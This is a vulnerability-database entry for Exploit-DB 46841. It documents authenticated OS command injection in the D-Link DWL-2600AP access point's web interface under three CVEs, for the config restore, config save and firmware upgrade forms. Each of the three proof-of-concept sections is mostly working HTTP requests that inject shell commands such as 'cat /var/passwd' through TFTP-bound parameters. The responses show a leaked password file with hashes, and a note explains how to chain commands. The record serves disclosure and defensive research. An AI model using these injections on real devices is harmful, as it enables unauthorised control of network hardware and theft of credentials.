ID

VAR-E-201905-0044


CVE

cve_id:CVE-2019-20499

Trust: 1.5

cve_id:CVE-2019-20500

Trust: 1.0

cve_id:CVE-2019-20501

Trust: 1.0

sources: PACKETSTORM: 156952 // EXPLOIT-DB: 46841

EDB ID

46841


TITLE

D-Link DWL-2600AP - Multiple OS Command Injection - Hardware webapps Exploit

Trust: 0.6

sources: EXPLOIT-DB: 46841

DESCRIPTION

D-Link DWL-2600AP - Multiple OS Command Injection. CVE-2019-20499CVE-2019-20500CVE-2019-20501 . webapps exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 46841

AFFECTED PRODUCTS

vendor:d linkmodel:dwl-2600apscope: - version: -

Trust: 1.6

vendor:dlinkmodel:dwl-2600 authenticated remotescope: - version: -

Trust: 0.5

sources: PACKETSTORM: 156952 // EXPLOIT-DB: 46841 // EDBNET: 101461

EXPLOIT

Document Title:
===============
D-Link DWL-2600AP - (Authenticated) OS Command Injection (Restore Configuration)

Product & Service Introduction:
===============================
The D-Link DWL-2600AP has a web interface for configuration. You can use any web browser you like to login to the D-Link DWL-2600AP.

Affected Product(s):
====================
Product: D-Link DWL-2600AP (Web Interface)

Exploitation Technique:
=======================
Local

Severity Level:
===============
HIGH

CVE: CVE-2019-20499
CVE: CVE-2019-20500
CVE: CVE-2019-20501

Base Score (CVSS):
===============
7.8

===============
Request Method(s):
[+] POST

URL Path :
[+] /admin.cgi?action=config_restore

Vulnerable POST Form Data Parameter:
[+] configRestore
[+] configServerip
===========================
Device Firmware version :
[+] 4.2.0.15

Hardware Version :
[+] A1

Device name :
[+] D-Link AP

Product Identifier :
[+] WLAN-EAP

Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by local authenticated attackers.
there is no input validation on the POST Form Data Parameter "configRestore"
and the Form Data Parameter "configServerip" (the input are passed directly to TFTP command) which allow attackers to execute arbitrary Operating System Commands on the device for malicious purposes.
The attacker has to know the credentials in order to access the Panel .
For security demonstration or to reproduce the vulnerability follow the provided information in the attachement provided Screenshot2.jpg .

--- PoC Session Logs ---
POST /admin.cgi?action=config_restore HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 357
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
User-Agent: Xxxxxxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/admin.cgi?action=config_restore
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: sessionHTTP=UQAafLpviZXbWDQpJAnrNmEJoFQIBAcX; clickedFolderFrameless=43%5E

------WebKitFormBoundary4ZAwHsdySFjwNXxE
Content-Disposition: form-data; name="optprotocol"

up
------WebKitFormBoundary4ZAwHsdySFjwNXxE
Content-Disposition: form-data; name="configRestore"

;whoami;
------WebKitFormBoundary4ZAwHsdySFjwNXxE
Content-Disposition: form-data; name="configServerip"

;cat /var/passwd;cat /var/passwd
------WebKitFormBoundary4ZAwHsdySFjwNXxE--

----------->Response----------->

HTTP/1.0 200 OK
Content-Type: text/html; charset=UTF-8

/usr/bin/tftp: option requires an argument -- r
BusyBox v1.18.2 (2018-02-26 11:53:37 IST) multi-call binary.

Usage: tftp [OPTIONS] HOST [PORT]

Transfer a file from/to tftp server

Options:
-l FILE Local FILE
-r FILE Remote FILE
-g Get file
-p Put file
-b SIZE Transfer blocks of SIZE octets

sh: whoami: not found
sh: whoami: not found
root:$1$XDXDXDXD$JTedJSDYDA.pFjIToxlGA1:0:0:root:/root:/bin/sh
admin:2yn.4fvaTgedM:0:0:cisco:/root:/bin/splash
nobody:x:99:99:nobody:/:/bin/false

Note : for testing put the values in the fields like this :
;command1;same_command1;command2;command2

----+Discovered By Raki Ben Hamouda----+

Document Title:
===============
D-Link DWL-2600AP - (Authenticated) OS Command Injection (Save Configuration)

Product & Service Introduction:
===============================
The D-Link DWL-2600AP has a web interface for configuration. You can use any web browser you like to login to the D-Link DWL-2600AP.

Affected Product(s):
====================
Product: D-Link DWL-2600AP (Web Interface)

Exploitation Technique:
=======================
Local

Severity Level:
===============
HIGH

Base Score (CVSS):
===============
7.8

===============
Request Method(s):
[+] POST

URL Path :
[+] /admin.cgi?action=config_save

Vulnerable POST Form Data Parameter:
[+] configBackup
[+] downloadServerip
==========================
Device Firmware version :
[+] 4.2.0.15

Hardware Version :
[+] A1

Device name :
[+] D-Link AP

Product Identifier :
[+] WLAN-EAP

Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote or local authenticated attackers.
there is no input validation on the POST Form Data Parameter "configBackup"
and the Form Data Parameter "downloadServerip" (the input are passed directly to TFTP command) which allow attackers to execute arbitrary Operating System Commands on the device for malicious purposes.
The attacker has to know the credentials in order to access the Panel .
For security demonstration or to reproduce the vulnerability follow the provided information in the attachement provided Screenshot3.jpg .

--- PoC Session Logs ---
POST /admin.cgi?action=config_save HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 114
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Xxxxxxxx
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/admin.cgi?action=config_save
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: sessionHTTP=PENcqbtRRuvmuZfPZnzuUddVIEAPADBp; clickedFolderFrameless=43%5E

check_tftp=up&configBackup=;whoami;whoami;.xml&downloadServerip=;cat /var/passwd;cat /var/passwd

----------->Response----------->

HTTP/1.0 200 OK
Content-Type: text/html; charset=UTF-8

/usr/bin/tftp: option requires an argument -- r
BusyBox v1.18.2 (2018-02-26 11:53:37 IST) multi-call binary.

Usage: tftp [OPTIONS] HOST [PORT]

Transfer a file from/to tftp server

Options:
-l FILE Local FILE
-r FILE Remote FILE
-g Get file
-p Put file
-b SIZE Transfer blocks of SIZE octets

sh: whoami: not found
sh: whoami: not found
sh: .xml: not found
root:$1$XDXDXDXD$JTedJSDYDA.pFjIToxlGA1:0:0:root:/root:/bin/sh
admin:2yn.4fvaTgedM:0:0:cisco:/root:/bin/splash
nobody:x:99:99:nobody:/:/bin/false

Note : for testing put the values in the fields like this :
;command1;same_command1;command2;etc...

----+Discovered By Raki Ben Hamouda----+

Document Title:
===============
D-Link DWL-2600AP - (Authenticated) OS Command Injection (Upgrade Firmware)

Product & Service Introduction:
===============================
The D-Link DWL-2600AP has a web interface for configuration. You can use any web browser you like to login to the D-Link DWL-2600AP.

Affected Product(s):
====================
Product: D-Link DWL-2600AP (Web Interface)

Exploitation Technique:
=======================
Local

Severity Level:
===============
HIGH

Base Score (CVSS):
===============
7.8

===============
Request Method(s):
[+] POST

URL Path :
[+] /admin.cgi?action=upgrade

Vulnerable POST Form Data Parameter:
[+] firmwareRestore
[+] firmwareServerip

===========================
Device Firmware version :
[+] 4.2.0.15

Hardware Version :
[+] A1

Device name :
[+] D-Link AP

Product Identifier :
[+] WLAN-EAP

Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by local authenticated attackers.
there is no input validation on the POST Form Data Parameter "firmwareRestore"
and the Form Data Parameter "firmwareServerip" (the input are passed directly to TFTP command) which allow attackers to execute arbitrary Operating System Commands on the device for malicious purposes.
The attacker has to know the credentials in order to access the Panel .
For security demonstration or to reproduce the vulnerability follow the provided information in the attachement provided Screenshot1.jpg .

--- PoC Session Logs ---

POST /admin.cgi?action=upgrade HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 525
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data;
User-Agent: xxxxxxxxw
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/admin.cgi?action=upgrade
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: sessionHTTP=PENcqbtRRuvmuZfPZnzuUddVIEAPADBp; clickedFolderFrameless=43%5E

------WebKitFormBoundaryBy0MsFaBOhdU6YJL
Content-Disposition: form-data; name="optprotocol"

up
------WebKitFormBoundaryBy0MsFaBOhdU6YJL
Content-Disposition: form-data; name="firmwareRestore"

;whoami;whoami
------WebKitFormBoundaryBy0MsFaBOhdU6YJL
Content-Disposition: form-data; name="firmwareServerip"

;cat /var/passwd;cat /var/passwd
------WebKitFormBoundaryBy0MsFaBOhdU6YJL
Content-Disposition: form-data; name="update.device.packet-capture.stop-capture"

up
------WebKitFormBoundaryBy0MsFaBOhdU6YJL--

----------->Response----------->

HTTP/1.0 200 OK
Content-Type: text/html; charset=UTF-8

/usr/bin/tftp: option requires an argument -- r
BusyBox v1.18.2 (2018-02-26 11:53:37 IST) multi-call binary.

Usage: tftp [OPTIONS] HOST [PORT]

Transfer a file from/to tftp server

Options:
-l FILE Local FILE
-r FILE Remote FILE
-g Get file
-p Put file
-b SIZE Transfer blocks of SIZE octets

sh: whoami: not found
sh: whoami: not found
root:$1$XDXDXDXD$JTedJSDYDA.pFjIToxlGA1:0:0:root:/root:/bin/sh
admin:2yn.4fvaTgedM:0:0:cisco:/root:/bin/splash
nobody:x:99:99:nobody:/:/bin/false

Note : for testing put the values in the fields like this :
;command1;same_command1;command2;etc...
----+Discovered By Raki Ben Hamouda----+

Trust: 1.0

sources: EXPLOIT-DB: 46841

EXPLOIT LANGUAGE

txt

Trust: 0.6

sources: EXPLOIT-DB: 46841

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 46841

TYPE

Multiple OS Command Injection

Trust: 1.6

sources: EXPLOIT-DB: 46841 // EDBNET: 101461

TAGS

tag:Command Injection

Trust: 1.0

tag:exploit

Trust: 0.5

tag:web

Trust: 0.5

sources: PACKETSTORM: 156952 // EXPLOIT-DB: 46841

CREDITS

Raki Ben Hamouda

Trust: 0.6

sources: EXPLOIT-DB: 46841

EXTERNAL IDS

db:EXPLOIT-DBid:46841

Trust: 1.6

db:NVDid:CVE-2019-20499

Trust: 1.5

db:NVDid:CVE-2019-20501

Trust: 1.0

db:NVDid:CVE-2019-20500

Trust: 1.0

db:EDBNETid:101461

Trust: 0.6

db:PACKETSTORMid:156952

Trust: 0.5

sources: PACKETSTORM: 156952 // EXPLOIT-DB: 46841 // EDBNET: 101461

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2019-20499

Trust: 1.5

url:https://nvd.nist.gov/vuln/detail/cve-2019-20501

Trust: 1.0

url:https://nvd.nist.gov/vuln/detail/cve-2019-20500

Trust: 1.0

url:https://www.exploit-db.com/exploits/46841/

Trust: 0.6

sources: PACKETSTORM: 156952 // EXPLOIT-DB: 46841 // EDBNET: 101461

SOURCES

db:PACKETSTORMid:156952
db:EXPLOIT-DBid:46841
db:EDBNETid:101461

LAST UPDATE DATE

2022-07-27T09:51:29.631000+00:00


SOURCES RELEASE DATE

db:PACKETSTORMid:156952date:2020-03-28T14:40:42
db:EXPLOIT-DBid:46841date:2019-05-14T00:00:00
db:EDBNETid:101461date:2019-05-16T00:00:00